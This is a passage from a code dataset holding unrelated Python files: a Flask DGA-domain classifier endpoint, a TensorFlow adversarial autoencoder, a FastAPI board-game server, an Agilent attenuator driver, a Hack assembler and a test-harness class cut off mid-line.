keras.preprocessing import sequence\r\n\r\n# load models\r\nmodel = pickle.load(open('model.pkl','rb'))\r\napp = Flask(__name__)\r\n\r\n@app.route(\"/dgaCheck\",methods=['GET'])\r\ndef app():\r\n domain=request.args['domain']\r\n X = {'j', '8', 'n', '-', 'm', 't', 'q', 'a', '7', 'p', 'x', 'f', 'w', 'k', '6', '1', 'c', '9', 'r', '2', 'h', '3', '4', 'g', 'y', 'b', 'u', 'e', 'l', '5', 'v', 'z', 'i', 'o', '0', 'd', 's'}\r\n valid_chars = {x:idx+1 for idx, x in enumerate(X)}\r\n print(\"Domain name:\",domain)\r\n print(valid_chars)\r\n g = [[valid_chars[y] for y in domain]]\r\n g = sequence.pad_sequences(g, maxlen=31)\r\n # make predictions\r\n print(g)\r\n proba = model.predict_proba(g[0:1])\r\n p = int(proba[0]*100)\r\n final=''\r\n if proba[0]>=0.5:\r\n print(\"DGA:\",p ,\"%\")\r\n #blacklist = open(\"/content/drive/My Drive/file/blacklist.txt\",\"a\")\r\n #blacklist.write(domain)\r\n #blacklist.write(\",\")\r\n final='DGA : Caution!!!'\r\n else:\r\n print(\"Good:\",100-p ,\"%\")\r\n #whitelist = open(\"/content/drive/My Drive/file/whitelist.txt\",\"a\")\r\n #whitelist.write(domain)\r\n #whitelist.write(\",\")\r\n final='Non DGA : Safe!!!'\r\n return {'message': final}\r\n \r\nif __name__ == \"__main__\":\r\n app.run(debug=False,threaded=False)","sub_path":"lstm_engine.py","file_name":"lstm_engine.py","file_ext":"py","file_size_in_byte":1365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"44900436","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.3 (62011)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: build/bdist.linux-i686/egg/pyclearsilver/__init__.py\n# Compiled at: 2004-09-29 19:24:51\nversionMajor = 2\nversionMinor = 0\nversion = (\n versionMajor, versionMinor)\nimport odb, hdfhelp","sub_path":"pycfiles/pyclearsilver-1.0-py2.3/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"615869129","text":"from functools import reduce\nfrom model.AbstractModel import AbstractModel\nfrom util.Stacker import Stacker\nfrom util.tensor_ops import *\nfrom util.summary_func import *\nimport numpy as np\n\n\nclass AAE(AbstractModel):\n VERSION = 1.0\n AUTHOR = 'demetoir'\n\n def load_input_shapes(self, input_shapes):\n self.X_batch_key = 'Xs'\n self.X_shape = input_shapes[self.X_batch_key]\n self.Xs_shape = [self.batch_size] + self.X_shape\n self.X_flatten_size = reduce(lambda x, y: x * y, self.X_shape)\n\n self.Y_batch_key = 'Ys'\n self.Y_shape = input_shapes[self.Y_batch_key]\n self.Ys_shape = [self.batch_size] + self.Y_shape\n self.Y_size = self.Y_shape[0]\n\n self.z_shape = [self.z_size]\n self.zs_shape = [self.batch_size] + self.z_shape\n\n def load_hyper_parameter(self, params=None):\n self.batch_size = 100\n self.learning_rate = 0.001\n self.beta1 = 0.5\n self.z_size = 10\n\n def encoder(self, Xs, reuse=False, name='encoder'):\n with tf.variable_scope(name, reuse=reuse):\n stack = Stacker(Xs)\n stack.flatten()\n stack.linear_block(512, relu)\n stack.linear_block(256, relu)\n stack.linear_block(128, relu)\n stack.linear_block(self.z_size + self.Y_size, relu)\n zs = stack.last_layer[:, :self.z_size]\n Ys_gen = stack.last_layer[:, self.z_size:]\n\n hs = softmax(Ys_gen)\n return zs, Ys_gen, hs\n\n def decoder(self, zs, Ys, reuse=False, name='decoder'):\n with tf.variable_scope(name, reuse=reuse):\n stack = Stacker(concat((zs, Ys), axis=1))\n stack.linear_block(128, relu)\n stack.linear_block(256, relu)\n stack.linear_block(512, relu)\n stack.linear_block(self.X_flatten_size, sigmoid)\n stack.reshape(self.Xs_shape)\n\n return stack.last_layer\n\n def discriminator_gauss(self, zs, reuse=False, name='discriminator_gauss'):\n with tf.variable_scope(name, reuse=reuse):\n layer = Stacker(zs)\n layer.linear_block(256, relu)\n layer.linear_block(256, relu)\n layer.linear(1)\n layer.sigmoid()\n\n return layer.last_layer\n\n def discriminator_cate(self, zs, reuse=False, name='discriminator_cate'):\n with tf.variable_scope(name, reuse=reuse):\n layer = Stacker(zs)\n layer.linear_block(256, relu)\n layer.linear_block(256, relu)\n layer.linear(1)\n layer.sigmoid()\n\n return layer.last_layer\n\n def load_main_tensor_graph(self):\n self.Xs = tf.placeholder(tf.float32, self.Xs_shape, name='Xs')\n self.Ys = tf.placeholder(tf.float32, self.Ys_shape, name='Ys')\n self.zs = tf.placeholder(tf.float32, self.zs_shape, name='zs')\n\n self.zs_gen, self.Ys_gen, self.hs = self.encoder(self.Xs)\n self.code = self.zs_gen\n self.Xs_recon = self.decoder(self.zs_gen, self.Ys_gen)\n self.Xs_gen = self.decoder(self.zs, self.Ys, reuse=True)\n\n self.D_gauss_real = self.discriminator_gauss(self.zs)\n self.D_gauss_gen = self.discriminator_gauss(self.zs_gen, reuse=True)\n\n self.D_cate_real = self.discriminator_cate(self.Ys)\n self.D_cate_gen = self.discriminator_cate(self.Ys_gen, reuse=True)\n\n self.vars_encoder = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='encoder')\n self.vars_decoder = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='decoder')\n self.vars_discriminator_gauss = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='discriminator_gauss')\n self.vars_discriminator_cate = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='discriminator_cate')\n\n self.predict = tf.equal(tf.arg_max(self.hs, 1), tf.arg_max(self.Ys, 1), name='predict')\n self.acc = tf.reduce_mean(tf.cast(self.predict, tf.float32), name='acc')\n\n def load_loss_function(self):\n # AE loss\n self.loss_AE = tf.squared_difference(self.Xs, self.Xs_recon, name=\"loss_AE\")\n self.loss_AE_mean = tf.reduce_sum(self.loss_AE, name=\"loss_AE_mean\")\n\n # D gauss loss\n self.loss_D_gauss_real = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.ones_like(self.D_gauss_real),\n logits=self.D_gauss_real,\n name='loss_D_gauss_real')\n self.loss_D_gauss_gen = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.zeros_like(self.D_gauss_gen),\n logits=self.D_gauss_gen,\n name='loss_D_gauss_gen')\n\n self.loss_D_gauss = tf.add(self.loss_D_gauss_real, self.loss_D_gauss_gen, name='loss_D_gauss')\n self.loss_D_gauss_mean = tf.reduce_mean(self.loss_D_gauss, name='loss_D_gauss_mean')\n\n # D cate loss\n self.loss_D_cate_real = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.ones_like(self.D_cate_real),\n logits=self.D_cate_real,\n name='loss_D_cate_real')\n self.loss_D_cate_gen = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.zeros_like(self.D_cate_gen),\n logits=self.D_cate_gen,\n name='loss_D_cate_gen')\n self.loss_D_cate = tf.add(self.loss_D_cate_real, self.D_cate_gen, name='loss_D_cate')\n self.loss_D_cate_mean = tf.reduce_mean(self.loss_D_cate, name='loss_D_cate_mean')\n\n # G gauss loss\n self.loss_G_gauss = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.ones_like(self.D_gauss_gen),\n logits=self.D_gauss_gen,\n name='loss_G_gauss')\n self.loss_G_gauss_mean = tf.reduce_mean(self.loss_G_gauss, name='loss_G_gauss_mean')\n\n # G cate loss\n self.loss_G_cate = tf.nn.sigmoid_cross_entropy_with_logits(labels=tf.ones_like(self.D_cate_gen),\n logits=self.D_cate_gen,\n name='loss_G_cate')\n self.loss_G_cate_mean = tf.reduce_mean(self.loss_G_cate, name='loss_G_cate_mean')\n\n # classifier phase\n self.loss_clf = tf.nn.softmax_cross_entropy_with_logits_v2(labels=self.Ys,\n logits=self.hs,\n name='loss_clf')\n self.loss_clf_mean = tf.reduce_mean(self.loss_clf, name='loss_clf_mean')\n\n # in autoencoder's perspective loss can be divide to reconstruct error and regularization error\n # self.recon_error = -1 * self.cross_entropy\n # self.regularization_error = self.KL_Divergence\n # self.loss = self.recon_error + self.regularization_error\n\n # only cross entropy loss also work\n # self.loss = -1 * self.cross_entropy\n\n # using MSE than cross entropy loss also work but slow\n # self.MSE= tf.reduce_sum(tf.squared_difference(X, X_gen), axis=1)\n # self.loss = self.MSE + self.KL_Divergence\n\n # this one also work\n # self.loss = self.MSE\n\n def load_train_ops(self):\n # reconstruction phase\n self.train_AE = tf.train.AdamOptimizer(\n self.learning_rate,\n self.beta1\n ).minimize(\n self.loss_AE_mean,\n var_list=self.vars_decoder + self.vars_encoder\n )\n\n # regularization phase\n self.train_D_gauss = tf.train.AdamOptimizer(\n self.learning_rate,\n self.beta1\n ).minimize(\n self.loss_D_gauss,\n var_list=self.vars_discriminator_gauss\n )\n\n self.train_D_cate = tf.train.AdamOptimizer(\n self.learning_rate,\n self.beta1\n ).minimize(\n self.loss_D_cate,\n var_list=self.vars_discriminator_cate\n )\n\n self.train_G_gauss = tf.train.AdamOptimizer(\n self.learning_rate,\n self.beta1\n ).minimize(\n self.loss_G_gauss,\n var_list=self.vars_encoder\n )\n\n self.train_G_cate = tf.train.AdamOptimizer(\n self.learning_rate,\n self.beta1\n ).minimize(\n self.loss_G_cate,\n var_list=self.vars_encoder\n )\n\n self.train_clf = tf.train.AdamOptimizer(\n self.learning_rate,\n self.beta1\n ).minimize(\n self.loss_clf,\n var_list=self.vars_encoder\n\n )\n\n def train_model(self, sess=None, iter_num=None, dataset=None):\n Xs, Ys = dataset.train_set.next_batch(\n self.batch_size,\n batch_keys=[self.X_batch_key, self.Y_batch_key]\n )\n sess.run(\n [self.train_AE, self.train_D_gauss, self.train_D_cate, self.train_G_gauss, self.train_G_cate,\n self.train_clf, self.op_inc_global_step],\n feed_dict={\n self.Xs: Xs,\n self.Ys: Ys,\n self.zs: self.get_z_noise()\n }\n )\n\n def load_summary_ops(self):\n pass\n\n def write_summary(self, sess=None, iter_num=None, dataset=None, summary_writer=None):\n pass\n\n def get_z_noise(self):\n return np.random.uniform(-1.0, 1.0, size=self.zs_shape)\n\n def run(self, sess, fetches, dataset):\n Xs, Ys = dataset.train_set.next_batch(\n self.batch_size,\n batch_keys=[self.X_batch_key, self.Y_batch_key],\n look_up=True\n )\n return self.get_tf_values(sess, fetches, Xs, Ys, self.get_z_noise())\n\n def get_tf_values(self, sess, fetches, Xs=None, Ys=None, zs=None):\n return sess.run(\n fetches=fetches,\n feed_dict={\n self.Xs: Xs,\n self.Ys: Ys,\n self.zs: zs\n }\n )\n","sub_path":"model/AE/AAE.py","file_name":"AAE.py","file_ext":"py","file_size_in_byte":10320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"30229775","text":"import json\nimport random\n\nfrom fastapi import FastAPI\n\nfrom tinydb import Query, where\nfrom uuid import uuid4\nfrom model import db, games\nfrom model import Game, Role, Equipment, Location, Deck, Player\nfrom model import MAX_PLAYER_COUNT\n\napp = FastAPI()\nprint(app)\n\n#\n# /games/{id}/start\n#\n\n@app.post(\"/games/{game_id}/start\")\ndef start_game(game_id):\n \"\"\"\n Start game!\n \"\"\"\n try:\n game = Game(**games.get(where('uuid') == game_id))\n except Exception as err:\n return {\"error\" : err}, 404\n \n status, error = game.start()\n if status is False:\n return {\"error\" : error}, 400\n\n games.update(game.dict(), where('uuid') == game_id)\n\n return {}\n\n#\n# /games/{id}/players\n#\n\n@app.get(\"/games/{game_id}/players\")\ndef get_players(game_id):\n try:\n game = Game(**games.get(where('uuid') == game_id))\n except Exception as err:\n return {\"error\" : err}, 404\n\n return game.players.dict()\n\n@app.post(\"/games/{game_id}/players\")\ndef new_player(game_id, name: str):\n \"\"\"\n Make a new player in a game!\n \"\"\"\n try:\n game = Game(**games.get(where('uuid') == game_id))\n except Exception as err:\n return {\"error\" : err}, 404\n \n if len(game.players) >= MAX_PLAYER_COUNT:\n return {\"error\" : \"The game is full\"}, 404\n\n player = game.new_player(name)\n\n games.update(game.dict(), where('uuid') == game_id)\n\n return player.dict()\n\n@app.delete(\"/games/{game_id}/players/{player_id}\")\ndef delete_player(game_id, player_id):\n \"\"\"\n Delete a player from a game!\n \"\"\"\n try:\n game = Game(**games.get(where('uuid') == game_id))\n except Exception as err:\n return {\"error\" : str(err)}, 404\n\n game.remove_player(player_id)\n games.update(game.dict(), where('uuid') == game_id)\n\n return {}\n\n#\n# /games/{game_id}/players/{player_id}/{action}\n#\n@app.post(\"/games/{game_id}/players/{player_id}/roll\")\ndef player_interact_roll(game_id: str, player_id: str):\n \"\"\"\n Given player tried to roll the dice\n \"\"\"\n try:\n game = Game(**games.get(where('uuid') == game_id))\n game.roll(player_id)\n except Exception as err:\n return {\"error\" : str(err)}, 404\n\n games.update(game.dict(), where('uuid') == game_id)\n\n return {}\n\n@app.post(\"/games/{game_id}/players/{player_id}/choice/{choice_idx}\")\ndef player_interact_make_choice(game_id: str, player_id: str, choice_idx: int):\n \"\"\"\n Given player makes a choice from given list\n \"\"\"\n try:\n game = Game(**games.get(where('uuid') == game_id))\n game.make_choice(player_id, choice_idx)\n except Exception as err:\n print(err)\n return {\"error\" : str(err)}, 404\n\n games.update(game.dict(), where('uuid') == game_id)\n\n return {}\n\n@app.post(\"/games/{game_id}/players/{player_id}/endturn\")\ndef player_interact_end_turn(game_id: str, player_id: str):\n \"\"\"\n Given player ends their turn\n \"\"\"\n try:\n game = Game(**games.get(where('uuid') == game_id))\n game.advance_turn()\n except Exception as err:\n print(err)\n return {\"error\" : str(err)}, 404\n\n games.update(game.dict(), where('uuid') == game_id)\n\n return {}\n\n\n#\n# /games\n#\n\n@app.get(\"/games\")\ndef get_games():\n return games.all()\n\n@app.post(\"/games\")\ndef new_game():\n \"\"\"\n Make a new game!\n \"\"\"\n game = Game.new_game()\n games.insert(game.dict())\n return game\n\n@app.get(\"/games/{game_id}\")\ndef get_game(game_id : str):\n try:\n return games.get(where('uuid') == game_id)\n except Exception as e:\n print(repr(e))\n exit(1)\n\n@app.delete(\"/games/{game_id}\")\ndef delete_game(game_id : str):\n \"\"\"\n Delete a game!\n \"\"\"\n games.remove(where('uuid') == game_id)\n return {}","sub_path":"shadowhunters/server/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"182533487","text":"#! /usr/bin/env python\n# _*_ coding: UTF-8 _*_\n\n\n#import modules\nimport time, sys\nimport pymeasure\n\nclass a11713c(object):\n '''\n DESCRIPTION\n ================\n This class cntrols the Agilent 11713C\n\n ARGUMENTS\n ================\n 1. IP: IP address of the 11713C\n Type: string\n Default: '192.168.100.1'\n 2. port: port number of the 11713C\n Type: int\n Default: 5025\n '''\n\n def __init__(self, IP='192.168.100.1', port=5025):\n self.IP = IP\n self.port = port\n self.com = pymeasure.ethernet(IP, port)\n \n def set_model(self, model, ch):\n \"\"\" \n DESCRIPTION\n ================\n This function sets the model of the programmable attenuator.\n \n ARGUMENTS\n ================\n 1. model: model of the attenuator\n Number: 'NA', 'AG8494g', 'AG8495g', 'AG8495k',\n 'AG8496g', 'AG8497k', 'AG84904k', 'AG84905m',\n 'AG84906k', 'AG84907k' or 'AG84908m'\n *for AG849xh, use 'AG849xg'\n *for AG84904l/m, use 'AG84904k'\n *for AG84906l, use 'AG84906k'\n *for AG84907l, use 'AG84907k'\n Type: string\n Default: 'AG8494g'\n\n 2. ch: channel of the A11713C\n Number: '1X', '1Y', '2X' or '2Y'\n Type: string\n Default: Nothing.\n \n RETURNS\n ================\n Nothing.\n \"\"\"\n modellist = ['NA', 'AG8494g', 'AG8495g', 'AG8495k', 'AG8496g', 'AG8497k',\n 'AG84904k', 'AG84905m', 'AG84906k', 'AG84907k', 'AG84908m']\n if model in modellist:\n self.com.open()\n if ch=='1X':\n self.com.send('CONFigure:BANK1:X %s' %(model))\n elif ch=='1Y':\n self.com.send('CONFigure:BANK1:Y %s' %(model))\n elif ch=='2X':\n self.com.send('CONFigure:BANK2:X %s' %(model))\n elif ch=='2Y':\n self.com.send('CONFigure:BANK2:Y %s' %(model))\n else:\n print('!!!!ERROR!!!!')\n print('invalid ch: '+str(ch))\n print('available ch: \"1X\", \"1Y\", \"2X\" or \"2Y\"')\n self.com.close()\n else:\n print('!!!!ERROR!!!!')\n print('invalid model: '+str(model))\n print('available model: ')\n print(modellist)\n return \n\n def query_model(self):\n \"\"\" \n DESCRIPTION\n ================\n This function queries the model of the programmable attenuator.\n \n ARGUMENTS\n ================\n Nothing.\n \n RETURNS\n ================\n 1. model: model of the attenuator\n Type: list [1X, 1Y, 2X, 2Y]\n *for AG849xh, use 'AG849xg'\n *for AG84904l/m, use 'AG84904k'\n *for AG84906l, use 'AG84906k'\n *for AG84907l, use 'AG84907k'\n \"\"\"\n self.com.open()\n self.com.send('CONFigure:BANK1:X?')\n ret1 = self.com.readline()\n self.com.send('CONFigure:BANK1:Y?')\n ret2 = self.com.readline()\n self.com.send('CONFigure:BANK2:X?')\n ret3 = self.com.readline()\n self.com.send('CONFigure:BANK2:Y?')\n ret4 = self.com.readline()\n self.com.close()\n att1X = str(ret1.replace('\\n', ''))\n att1Y = str(ret2.replace('\\n', ''))\n att2X = str(ret3.replace('\\n', ''))\n att2Y = str(ret4.replace('\\n', ''))\n model = [att1X, att1Y, att2X, att2Y]\n return model\n\n def set_level(self, level, ch):\n \"\"\" \n DESCRIPTION\n ================\n This function sets the attenuation level.\n \n ARGUMENTS\n ================\n 1. level: attenuation level\n Number: 0, 1, 2, ...\n Type: int\n Default: Nothing.\n\n 2. ch: channel of the A11713C\n Number: '1X', '1Y', '2X' or '2Y'\n Type: string\n Default: Nothing.\n \n RETURNS\n ================\n Nothing.\n \"\"\"\n if level>=0 and type(level)==int:\n self.com.open()\n if ch=='1X':\n self.com.send('ATTenuator:BANK1:X %s' %(level))\n elif ch=='1Y':\n self.com.send('ATTenuator:BANK1:Y %s' %(level))\n elif ch=='2X':\n self.com.send('ATTenuator:BANK2:X %s' %(level))\n elif ch=='2Y':\n self.com.send('ATTenuator:BANK2:Y %s' %(level))\n else:\n print('!!!!ERROR!!!!')\n print('invalid ch: '+str(ch))\n print('available ch: \"1X\", \"1Y\", \"2X\" or \"2Y\"')\n self.com.close()\n else:\n print('!!!!ERROR!!!!')\n print('invalid level: '+str(level))\n print('available level: 0, 1, 2, ...')\n return \n\n def query_level(self):\n \"\"\" \n DESCRIPTION\n ================\n This function queries the attenuation level.\n \n ARGUMENTS\n ================\n Nothing.\n \n RETURNS\n ================\n 1. level: attenuation level\n Type: list [1X, 1Y, 2X, 2Y]\n \"\"\"\n self.com.open()\n self.com.send('ATTenuator:BANK1:X?')\n ret1 = self.com.readline()\n self.com.send('ATTenuator:BANK1:Y?')\n ret2 = self.com.readline()\n self.com.send('ATTenuator:BANK2:X?')\n ret3 = self.com.readline()\n self.com.send('ATTenuator:BANK2:Y?')\n ret4 = self.com.readline()\n self.com.close()\n att1X = int(ret1)\n att1Y = int(ret2)\n att2X = int(ret3)\n att2Y = int(ret4)\n level = [att1X, att1Y, att2X, att2Y]\n return level\n\n def set_voltage(self, voltage, bank):\n \"\"\" \n DESCRIPTION\n ================\n This function sets the supply voltage for each bank.\n \n ARGUMENTS\n ================\n 1. voltage: supply voltage\n Number: 'OFF', '5V', '15V', '24V' or 'USER'\n Type: string\n Default: Nothing.\n\n 2. bank: bank of the A11713C\n Number: 1 or 2\n Type: int\n Default: Nothing.\n \n RETURNS\n ================\n Nothing.\n \"\"\"\n vlist = ['OFF', '5V', '15V', '24V', 'USER']\n if voltage in vlist:\n self.com.open()\n if bank==1:\n self.com.send('CONFigure:BANK1 %s' %(voltage))\n elif bank==2:\n self.com.send('CONFigure:BANK2 %s' %(voltage))\n else:\n print('!!!!ERROR!!!!')\n print('invalid bank: '+str(bank))\n print('available bank: 1 or 2')\n self.com.close()\n else:\n print('!!!!ERROR!!!!')\n print('invalid voltage: '+str(voltage))\n print('available voltage: ')\n print(vlist)\n return \n\n def query_voltage(self):\n \"\"\" \n DESCRIPTION\n ================\n This function queries the supply voltage for each bank.\n \n ARGUMENTS\n ================\n Nothing.\n \n RETURNS\n ================\n 1. voltage: supply voltage\n Type: string list ('OFF', 'P5', 'P15', 'P24' or 'USER')\n\n \"\"\"\n self.com.open()\n self.com.send('CONFigure:BANK1?')\n ret1 = self.com.readline()\n ret1 = ret1.replace('\\n', '')\n if ret1=='OFF':\n bank1='OFF'\n elif ret1=='P5':\n bank1='5V'\n elif ret1=='P15':\n bank1='15V'\n elif ret1=='P24':\n bank1='24V'\n elif ret1=='USER':\n bank1='USER'\n else:\n bank1='UNKNOWN'\n self.com.send('CONFigure:BANK2?')\n ret2 = self.com.readline()\n self.com.close()\n ret2 = ret2.replace('\\n', '')\n if ret2=='OFF':\n bank2='OFF'\n elif ret2=='P5':\n bank2='5V'\n elif ret2=='P15':\n bank2='15V'\n elif ret2=='P24':\n bank2='24V'\n elif ret2=='USER':\n bank2='USER'\n else:\n bank2='UNKNOWN'\n voltage = [bank1, bank2]\n return voltage\n\n# written by K.Urushihara\n# 2017/07/31 T.Inaba: fix a mistake (add \",\" to modellist)\n# 2017/09/08 T.Inaba: delete sys.path to pymeasure","sub_path":"NASCORX_System/device/A11713C.py","file_name":"A11713C.py","file_ext":"py","file_size_in_byte":8515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"391716723","text":"import sys,os\nimport string\n\naZero= {'0': \"101010\", '1': \"111111\", \"-1\":\"111010\", \"D\":\"001100\", \"A\":\"110000\", \"!D\":\"001101\", \"!A\":\"110001\", \"-D\":\"001111\",\"-A\":\"110011\",\"D+1\":\"011111\", \"A+1\":\"110111\", \"D-1\":\"001110\", \"A-1\":\"110010\", \"D+A\":\"000010\", \"D-A\":\"010011\",\"A-D\":\"000111\",\"D&A\":\"000000\",\"A|D\":\"010101\"}\n\naOne= {'null': \"101010\", 'M': \"110000\", '!M': \"110001\", \"-M\":\"110011\", \"M+1\":\"110111\", \"M-1\":\"110010\", \"D+M\":\"000010\", \"D-M\":\"010011\", \"M-D\":\"000111\",\"D&M\":\"000000\",\"D|M\":\"010101\"}\n\ndest= {'null': \"000\", 'M': \"001\", \"D\":\"010\", \"MD\":\"011\", \"A\":\"100\", \"AM\":\"101\", \"AD\":\"110\", \"AMD\":\"111\"}\njump= {'null': \"000\", 'JGT': \"001\", \"JEQ\":\"010\", \"JGE\":\"011\", \"JLT\":\"100\", \"JNE\":\"101\", \"JLE\":\"110\", \"JMP\":\"111\"}\n\nST= {'SP': \"0\", 'LCL': \"1\", \"ARG\":\"2\", \"THIS\":\"3\", \"THAT\":\"4\", \"R0\":\"0\", \"R1\":\"1\", \"R2\":\"2\", \"R3\":\"3\", \"R4\":\"4\", \"R5\":\"5\", \"R6\":\"6\", \"R7\":\"7\", \"R8\":\"8\", \"R9\":\"9\", \"R10\":\"10\", \"R11\":\"11\", \"R12\":\"12\", \"R13\":\"13\", \"R14\":\"14\", \"R15\":\"15\", \"SCREEN\":\"16384\", \"KBD\":\"24576\"}\n#print aZero['0']\n\n# discard comment content\nfile1 = open(sys.argv[1],'r')\n#print file1\nlines = file1.read().splitlines()\nfile1.close()\n\nhackname1 = string.replace(sys.argv[1],\".asm\",\".hack1\")\nfile2 = open(hackname1,'w')\n#print hackname1\nfor i in lines:\n list1 = i.split()\n #print list1\n if len(list1) > 0 and str(list1[0]).find(\"//\") :\n #print list1[0]\n file2.write( list1[0] + \"\\n\")\nfile2.close()\n\n\n# process jump symbol.\n# address of ROM starts from 0\nhackname2 = string.replace(sys.argv[1],\".asm\",\".hack2\")\nfile1 = open(hackname1,'r')\nlines = file1.read().splitlines()\nfile1.close()\nfile2 = open(hackname2,'w')\ncount = string.atoi(str(0))\n#print hackname1\nfor i in lines:\n if i.find(')') > 0:\n ST[i[1:-1]]=count\n #print count\n count -= 1\n else:\n #print \"Do i get in\"\n file2.write( i + \"\\n\")\n count += 1\nfile2.close()\n\n# replace all symbol\nhackname3 = string.replace(sys.argv[1],\".asm\",\".hack3\")\nfile1 = open(hackname2,'r')\nlines = file1.read().splitlines()\nfile1.close()\nfile2 = open(hackname3,'w')\ncount = string.atoi(str(16))\n#print hackname1\nfor i in lines:\n if i.find('@') >= 0 and not i[1:].isdigit():\n if i[1:] not in ST.keys():\n ST[i[1:]]=count\n count += 1\n file2.write( '@' + str(ST[i[1:]]) + \"\\n\")\n else:\n file2.write( i + \"\\n\")\nfile2.close()\n\n# translate A type instruction\nfile3 = open(hackname3,'r')\nlines2 = file3.read().splitlines()\nfile3.close()\n\n#print lines2\n\nhackname = hackname1[0:-1]\n#print \"file4 = \" + hackname\nfile4 = open(hackname,'w')\n\n\nfor i in lines2:\n left = 'null'\n tmp = 'null'\n right = '0'\n third = 'null'\n\n if i.find('=') >= 0:\n left = i.split('=')[0]\n right= i.split('=')[1]\n tmp = i.split('=')[1]\n\n if tmp.find(';') >= 0:\n right = tmp.split(';')[0]\n third = tmp.split(';')[1]\n\n if i.find('=') < 0 and i.find(';') >= 0:\n right = i.split(';')[0]\n third = i.split(';')[1]\n\n if i.find('@') != -1:\n file4.write( bin( string.atoi(i[1:]) )[2:].zfill(16) + \"\\n\")\n elif right.find('M') >= 0:\n #print i\n file4.write( \"1111\" + aOne[right] + dest[left] + jump[third] + \"\\n\")\n else:\n #print i\n #print \"right = \" + right\n #print \"left = \" + left\n #print \"third = \" + third\n file4.write( \"1110\" + aZero[right] + dest[left] + jump[third] + \"\\n\")\n\nfile4.close()\nos.remove(hackname1)\nos.remove(hackname2)\nos.remove(hackname3)\n","sub_path":"projects/06/assembler.py","file_name":"assembler.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"388918049","text":"'''\nEjercicio 3\nLocaliza el error en el siguiente bloque de código. Crea una excepción para evitar que el programa se bloquee y además explica \nen un mensaje al usuario la causa y/o solución:\ncolores = { 'rojo':'red', 'verde':'green', 'negro':'black' }\ncolores['blanco']\n'''\ntry:\n colores={'rojo':'red', 'verde':'green', 'negro':'black' }\n print(colores['red'])\nexcept KeyError:\n print(\"Error de clave\")\n","sub_path":"python-udemy/Practica5/Practica5_03.py","file_name":"Practica5_03.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"628694842","text":"import logging\nimport os\nfrom urllib.parse import unquote\n\nfrom aatest import exception_trace\nfrom aatest import Break\nfrom aatest.io import IO\n\nfrom oic.utils.http_util import Response, NotFound\nfrom oic.utils.time_util import in_a_while\n\nfrom aatest.check import ERROR\nfrom aatest.check import OK\nfrom aatest.check import WARNING\nfrom aatest.check import INCOMPLETE\nfrom aatest.summation import represent_result\nfrom aatest.summation import evaluate\nfrom aatest.summation import condition\nfrom aatest.summation import trace_output\nfrom aatest.summation import create_tar_archive\nfrom aatest.utils import get_test_info\n\nfrom oauth2test.utils import get_profile_info\nfrom oauth2test.utils import log_path\n\n__author__ = 'roland'\n\nlogger = logging.getLogger(__name__)\n\nTEST_RESULTS = {OK: \"OK\", ERROR: \"ERROR\", WARNING: \"WARNING\",\n INCOMPLETE: \"INCOMPLETE\"}\n\n\nclass WebIO(IO):\n def __init__(self, conf, flows, profile, profiles, operation,\n desc, lookup, cache=None, environ=None,\n start_response=None, **kwargs):\n IO.__init__(self, flows=flows, profile=profile, profiles=profiles,\n operation=operation, desc=desc, **kwargs)\n self.conf = conf\n self.lookup = lookup\n self.environ = environ\n self.start_response = start_response\n self.cache = cache\n\n @staticmethod\n def store_test_info(session, profile_info=None):\n _conv = session[\"conv\"]\n _info = {\n \"trace\": _conv.trace,\n \"events\": _conv.events,\n \"index\": session[\"index\"],\n \"seqlen\": len(session[\"sequence\"]),\n \"descr\": session[\"node\"].desc\n }\n\n try:\n _info[\"node\"] = session[\"node\"]\n except KeyError:\n pass\n\n if profile_info:\n _info[\"profile_info\"] = profile_info\n else:\n try:\n _info[\"profile_info\"] = get_profile_info(session,\n session[\"testid\"])\n except KeyError:\n pass\n\n session[\"test_info\"][session[\"testid\"]] = _info\n\n def flow_list(self, session):\n try:\n resp = Response(mako_template=\"flowlist.mako\",\n template_lookup=self.lookup,\n headers=[])\n except Exception as err:\n raise\n\n try:\n _tid = session[\"testid\"]\n except KeyError:\n _tid = None\n\n self.dump_log(session, _tid)\n\n argv = {\n \"flows\": session[\"tests\"],\n \"profile\": session[\"profile\"],\n \"test_info\": list(session[\"test_info\"].keys()),\n \"base\": self.conf.BASE,\n \"headlines\": self.desc,\n \"testresults\": TEST_RESULTS\n }\n\n return resp(self.environ, self.start_response, **argv)\n\n def dump_log(self, session, test_id=None):\n try:\n _conv = session[\"conv\"]\n except KeyError:\n pass\n else:\n _pi = get_profile_info(session, test_id)\n if _pi:\n _tid = _pi[\"Test ID\"]\n path = log_path(session, _tid)\n if not path:\n return\n\n sline = 60*\"=\"\n output = [\"%s: %s\" % (k, _pi[k]) for k in [\"Issuer\", \"Profile\",\n \"Test ID\"]]\n output.append(\"Timestamp: %s\" % in_a_while())\n output.extend([\"\", sline, \"\"])\n output.extend(trace_output(_conv.trace))\n output.extend([\"\", sline, \"\"])\n output.extend(condition(_conv.events))\n output.extend([\"\", sline, \"\"])\n # and lastly the result\n self.store_test_info(session, _pi)\n _info = session[\"test_info\"][_tid]\n output.append(\"RESULT: %s\" 